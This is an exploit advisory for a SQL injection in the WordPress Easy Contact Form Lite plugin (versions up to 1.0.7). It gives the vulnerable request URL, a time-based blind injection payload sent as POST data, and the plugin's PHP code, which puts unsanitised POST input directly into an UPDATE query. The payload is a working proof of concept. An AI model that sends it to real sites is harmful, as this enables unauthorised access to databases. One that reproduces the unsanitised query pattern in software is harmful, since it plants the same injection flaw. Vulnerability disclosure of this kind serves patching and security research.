WordPress Easy Contact Form Lite plugin <= 1.0.7 SQLi

# Exploit Title: WordPress Easy Contact Form Lite plugin <= 1.0.7 SQL Injection Vulnerability
# Date: 2011-08-17
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/easy-contact-form-lite.zip
# Version: 1.0.7 (tested)

---
PoC (POST data)
---
http://www.site.com/wp-content/plugins/easy-contact-form-lite/requests/sort_row.request.php
 field_num[]=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)

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Vulnerable code
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foreach ($_POST['field_num'] as $position=>$field_id) {
 
 if ($field_id > 0) {
  $query = "
   UPDATE $settings_table_name
   SET position = '".$position."'
   WHERE ID = $field_id";
  $wpdb->query($query);
 }